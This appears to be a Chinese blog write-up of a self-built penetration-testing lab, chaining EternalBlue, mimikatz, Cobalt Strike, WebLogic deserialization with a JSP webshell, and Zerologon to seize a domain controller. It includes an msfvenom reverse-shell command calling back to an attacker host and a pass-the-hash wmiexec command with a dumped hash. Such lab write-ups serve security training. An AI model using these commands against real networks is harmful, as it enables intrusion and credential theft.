记一次靶场搭建与渗透测试

news2024/11/25 15:52:11

渗透目标

通过Windows7打入工作组环境，穿透两层内网拿到DC（域控制器）权限
环境搭建

环境搭建

网络拓扑

在这里插入图片描述

虚拟机网络配置

在这里插入图片描述

渗透测试

永恒之蓝外网打点

nmap -sS 192.168.2.0/24扫描外网存活主机，发现两台主机192.168.2.128和192.168.2.129，并且445端口都是打开的，可能存在永恒之蓝漏洞
在这里插入图片描述
用msf来进行永恒之蓝漏洞的利用：search ms17-010
在这里插入图片描述
选择模块3来进行永恒之蓝漏洞的扫描：use 3，发现主机192.168.2.128存在永恒之蓝漏洞

在这里插入图片描述
接着使用攻击模块对这个漏洞进行利用use exploit/windows/smb/ms17_010_eternalblue，同样设置set rhosts=192.168.2.12
在这里插入图片描述
权限已经是SYSTEM权限，简单查看一下系统信息，发现在一个工作组内（Domain: WORKGROUP)
在这里插入图片描述
导入mimikatz，尝试获取票据或者明文密码信息，得到密码：xiaodi
在这里插入图片描述

Cobalt Strike上线Windows 7

关闭防火墙
在这里插入图片描述
开启teamserver
在这里插入图片描述
客户端连接在这里插入图片描述
设置listener并且生成一个包含这个listener的木马
在这里插入图片描述
将木马上传到外网的Windows 7靶机并执行，靶机成功上线，查看网络
在这里插入图片描述
直接跑mimikatz得到密码xiaodi
在这里插入图片描述

psexec横向移动到Windows 10

然后用Portscan扫描主机
在这里插入图片描述
执行完扫描后，Targets中会出现主机192.168.2.129，使用psexec进行横向，输入刚刚得到的用户名和密码：
在这里插入图片描述
成功拿下Windows10
在这里插入图片描述
收集相关信息，发现新的网段192.168.3.*
在这里插入图片描述
扫描一下端口，发现两台主机，一台192.168.3.128是这台Windows 10，另一台就是下一阶段的目标192.168.3.129
在这里插入图片描述

MSF上线Windows 10

先生成一个反向木马：msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.130 lport=6666 -f exe -o m2.exe
在这里插入图片描述
通过Cobalt Strike上传木马

在这里插入图片描述
msf设置监听
在这里插入图片描述
成功上线，查看路由信息
在这里插入图片描述
添加路由
在这里插入图片描述
设置socks代理
在这里插入图片描述配置kaili的全局代理工具proxychains

在这里插入图片描述

Weblogic打入win12

利用工具：https://github.com/rabbitmask/WeblogicScan
换成另一种代理方式，利用Cobalt Strike上代理
在这里插入图片描述
同样修改mousepad /etc/proxychains4.conf，配置好端口，再用
proxychains4 python WeblogicScan.py -u 192.168.3.129 -p 7001启动，发现存在weblogic相关的CVE漏洞
在这里插入图片描述

存在cve-2016-0638，存在cve-2017-10271，存在cve-2017-3506等
然后利用工具：https://github.com/shack2/javaserializetools/releases，
proxychains4 java -jar javaserializetools.jar运行jar包，检测到漏洞
在这里插入图片描述
能够进行命令执行
在这里插入图片描述
冰蝎生成jsp木马在这里插入图片描述
上传生成的jsp木马
在这里插入图片描述
在这里插入图片描述
连接木马
在这里插入图片描述
使用Cobalt Strike中转上线，设置监听
在这里插入图片描述
然后生成木马
在这里插入图片描述
使用冰蝎上传木马执行，成功拿下
在这里插入图片描述
至此拿到了三台机器在这里插入图片描述
收集网络信息，发现网段192.168.10.*
在这里插入图片描述
端口扫描，发现其他两台机器：192.168.10.10和192.168.10.12
在这里插入图片描述

横向移动到Win12-WEB

还是先在weblogic这台机器上跑mimiktaz
在这里插入图片描述
得到明文密码Administrator和Admin12345，再来试试横向移动
首先创建一个监听器，这里由于观察到上述端口扫描的结果中445端口是开放的，因此采用SMB类型监听器在这里插入图片描述
然后进行横向移动在这里插入图片描述因为是中转的，所以有耐心点，等待几分钟后，连接建立
在这里插入图片描述
可以看到成功上线Win12-WEB
在这里插入图片描述
收集Win12-WEB的网络信息
在这里插入图片描述
查看系统信息
在这里插入图片描述
查看权限
在这里插入图片描述

渗透域控

在上一步中192.168.10.*这个网段三个机器已经得到了两个，剩下的192.168.10.10就是我们最后的目标：DC：域控制器
在Win12-WEB这台机器上查看域控：

在这里插入图片描述
Nmap扫描一下，没有发现特别的服务：

在这里插入图片描述
然后尝试寻找DC的相关漏洞，尝试cve-2021-1472
首先使用cobalt strike开代理

在这里插入图片描述
然后配置kali的proxychains4：mousepad /etc/proxychains4.conf
在这里插入图片描述
扫描一下端口：proxychains4 nmap 192.168.10.10，发现没有开什么特殊服务

在这里插入图片描述
没办法，大海捞针，测试一下这个CVE：CVE-2020-1472（https://github.com/SecuraBV/CVE-2020-1472）
在这里插入图片描述
尝试利用这个漏洞：https://github.com/dirkjanm/CVE-2020-1472，成功置空DC密码
在这里插入图片描述
获取hash值
在这里插入图片描述
利用得到的Administrator的hash值：aad3b435b51404eeaad3b435b51404ee:a402bea39d0f49b50ea1941120780ee3:::来进行横向移动
proxychains4 python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:a402bea39d0f49b50ea1941120780ee3 DC$/Administrator@192.168.10.10
拿到域控shell，渗透结束

在这里插入图片描述

查看网络信息
在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/519666.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

芯片电源附近为什么放置的是0.1uF电容

芯片电源附近为什么放置的是0.1uF电容

日常使用情况 我们在电源滤波电路上可以看到各种各样的电容，100uF、10uF、100nF、10nF不同的容值，而在我们使用中常常会在芯片电源附近放置0.1uF电容，以TB67S109AFNG应用手册为例，其中推荐使用的也是0.1uF的电容 电容的特性 数字…
阅读更多...
分享几款小白从零开始学习的会用到的工具/网站

分享几款小白从零开始学习的会用到的工具/网站

大二狗接触编程也有两年了，差生文具多这大众都认可的一句话，在这里蹭一下这个活动分享一下从0开始学习编程有啥好用的工具 目录 伴侣一、Snipaste截图工具 伴侣二、Postman软件（可用ApiPost平替） 伴侣三、字体图标网站 伴侣四…
阅读更多...
BlockChain-Account_TakeOver

BlockChain-Account_TakeOver

题目描述 ECDSA 签名 假设我们的私钥为 d A d_A dA​而公钥为 Q A Q_A QA​， Q A d A ⋅ G Q_Ad_A\cdot G QA​dA​⋅G，接下来就是签名的过程，要签名的消息为 m m m 取 e H A S H ( m ) e HASH(m) eHASH(m)取 e e e的左边的 L n L_n L…
阅读更多...
Baumer工业相机堡盟工业相机软件CameraExplorer常见功能使用说明二

Baumer工业相机堡盟工业相机软件CameraExplorer常见功能使用说明二

Baumer工业相机堡盟工业相机软件CameraExplorer常见功能使用说明二 Baumer工业相机Baumer工业相机CE软件图像/视频存储功能Baumer工业相机CE软件记录日志文件功能Baumer工业相机CE软件查看图像Buffer及数据流统计信息 Baumer工业相机 Baumer工业相机堡盟相机是一种高性能、高质…
阅读更多...
汇编五、伪指令与汇编程序结构

汇编五、伪指令与汇编程序结构

1、伪指令 1.1、概念 (1)伪指令是用于对汇编过程进行控制的指令，该类指令并不是可执行指令，没有对应机器码，只用于汇编过程中为汇编程序提供汇编信息，帮助编译器编译。 1.2、ASM51提供的伪指令 伪指令分为如下几类。 1.2.1、…
阅读更多...
zuul源码分析

zuul源码分析

zuul源码解析 zuul与springboot整合的依赖 <dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter-netflix-zuul</artifactId></dependency>看到starter第一反应就是springboot的自动装配? 我们去…
阅读更多...
简历制作、投递、（实习）面试技巧！！

简历制作、投递、（实习）面试技巧！！

目录 1.为什么要找实习 2.什么时候找实习 3.制作简历 4.简历注意事项 5.IT后端的校招的要求 6.简历里面写什么&#xff1f; 7.简历模板的选择 8.个人信息 9.求职意向 10.专业技能 11.项目经验 12.其他注意事项 13.找工作的手段 14.找工作的态度 ​编辑 15.面试…
阅读更多...
IntelliJ IDEA 修改内存大小

IntelliJ IDEA 修改内存大小

idea有个配置文件&#xff0c;可以设置内存大小的&#xff0c;就跟咱的jvm的内存里面的堆大小&#xff0c;栈大小等等&#xff0c;可以设置的&#xff0c;而且设置了之后&#xff0c;你这个的性能就会得到提升。具体看下面怎么修改。 先说所要修改的文件 idea.vmoptions 的位置…
阅读更多...
总结常见评价指标

总结常见评价指标

整理一下在机器学习中常见的评价指标&#xff0c;包括&#xff1a; 混淆矩阵&#xff0c;TPR&#xff0c;FPR&#xff0c;TNR&#xff0c;FNR&#xff1b;Precision&#xff0c;Recall&#xff0c;Accuracy&#xff0c;F-score(F1-meature)ROC曲线&#xff0c;AUC&#xff1b; …
阅读更多...
[Vue warn]: You may have an infinite update loop in a component render function

[Vue warn]: You may have an infinite update loop in a component render function

老板让该一个bug&#xff0c;结果一连出现好几个问题&#xff0c;然后报错也是很奇葩&#xff0c;在源代码上不能直接定位到&#xff0c;只知道在当前页面上出现的问题&#xff0c;弄了好久&#xff0c;给大家分享一下解决的经验&#xff1a; You may have an infinite update …
阅读更多...
2023 年Windows MySql 5.7，MySql 8.0 下载安装教程, 附详细图解

2023 年Windows MySql 5.7，MySql 8.0 下载安装教程, 附详细图解

文章目录 下载 MySQL 安装程序安装 MySQL 数据库安装示例数据库连接到 MySQL 服务器 在本教程中&#xff0c;我们展示如何在 Windows 平台上下载和安装 MySQL 的详细步骤。 在 Windows 平台上安装 MySQL 很简单&#xff0c;并不需要太复杂的步骤。按照本文的步骤操练起来就可以…
阅读更多...
【Win10错误】从80190001错误码恢复

【Win10错误】从80190001错误码恢复

目录 一、说明 二、操作过程和错误显示 三、修复过程 四、网上的其它参考意见 一、说明 出现0x80190001错误码&#xff0c;其原因是网络认证问题引起。但不是网络断开或路由不通而引起。一般是本地身份cooki无法认证而引起&#xff0c;一般出现在登录认证过程。本篇告诉大家…
阅读更多...
2.4G无线游戏手柄方案开发

2.4G无线游戏手柄方案开发

对于游戏玩家来说&#xff0c;好的外设才能有更好的游戏体验。相比于传统的有线手柄&#xff0c;2.4G无线游戏手柄采用2.4GHz射频无线连接方式&#xff0c;摆脱了连线的困扰。相比于鼠标键盘&#xff0c;游戏手柄在大部分游戏上的使用体验都会更好&#xff0c;让你的游戏体验更…
阅读更多...
【MATLAB第30期】基于MATLAB的adaboost多分类预测集成学习模型（四种模型GDA高斯判别分析、Knn、NB朴素贝叶斯、SVM）

【MATLAB第30期】基于MATLAB的adaboost多分类预测集成学习模型（四种模型GDA高斯判别分析、Knn、NB朴素贝叶斯、SVM）

【MATLAB第30期】基于MATLAB的adaboost多分类预测集成学习模型&#xff08;四种模型GDA高斯判别分析、Knn、NB朴素贝叶斯、SVM&#xff09; 一、简介 弱分类器 %1.GDA高斯判别分析 %2.Knn (NumNeighbors 5) K邻近 %3.Naive Bayes 朴素贝叶斯 %4.SVM 支持向量机 强分类器 1.a…
阅读更多...
【Vue】生命周期

【Vue】生命周期

文章目录 生命周期概念一、生命周期图示二、生命周期1.beforeCreate&#xff08;&#xff09;{}2.created&#xff08;&#xff09;{}3.beforeMount&#xff08;&#xff09;{}4.mounted&#xff08;&#xff09;{}5.beforeUpdate&#xff08;&#xff09;{}6.updated&#xff…
阅读更多...
C语言预处理详解

C语言预处理详解

参考文章&#xff1a;c语言预处理 目录 程序的翻译环境和执行条件 翻译环境 编译本身也分为几个阶段 预处理 预处理指令 运行环境 程序执行的过程 预处理 预定义符号 #define #define定义标识符 #define定义宏 宏的申明方式 #define替换规则 #和## #的作用 ##…
阅读更多...
OTP语音芯片 NV170D在充电桩的语音方案应用

OTP语音芯片 NV170D在充电桩的语音方案应用

新能源汽车是我国应对气候变化、推动绿色发展的战略举措&#xff0c;在政策和市场需求的推动下&#xff0c;我国新能源汽车产销量双双增长&#xff0c;新能源汽车保有量地稳步增长将会促进充电桩需求的扩大&#xff0c;企业也将进一步在电动汽车充电桩领域布局。 2022年10月11日…
阅读更多...
Linux下的Tomcat的安装详解--值得一看

Linux下的Tomcat的安装详解--值得一看

如有错误&#xff0c;敬请谅解&#xff01; 此文章仅为本人学习笔记&#xff0c;仅供参考&#xff0c;如有冒犯&#xff0c;请联系作者删除&#xff01;&#xff01; 目录 简述静态网页和动态网页的区别。 简述 Webl.0 和 Web2.0 的区别。 tomcat8的安装&#xff0c;配置服…
阅读更多...
物流行业如何运用IPD？

物流行业如何运用IPD？

物流是供应链活动的一部分&#xff0c;是为了满足客户需要而对商品、服务消费以及相关信息从产地到消费地的高效、低成本流动和储存进行的规划、实施与控制的过程。物流以仓储为中心&#xff0c;促进生产与市场保持同步。物流是为了满足客户的需要&#xff0c;以最低的成本&…
阅读更多...
奇葩的 Git 签名错误

奇葩的 Git 签名错误

最近公司电脑升级后又抽风了。 在访问 Git 的时候提示了证书签名错误。 主要提示的错误为&#xff1a; git.exe fetch -v --progress "origin" fatal: unable to access https://src.ossez.com/yhu-docs.git/: SSL certificate problem: unable to get local issue…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023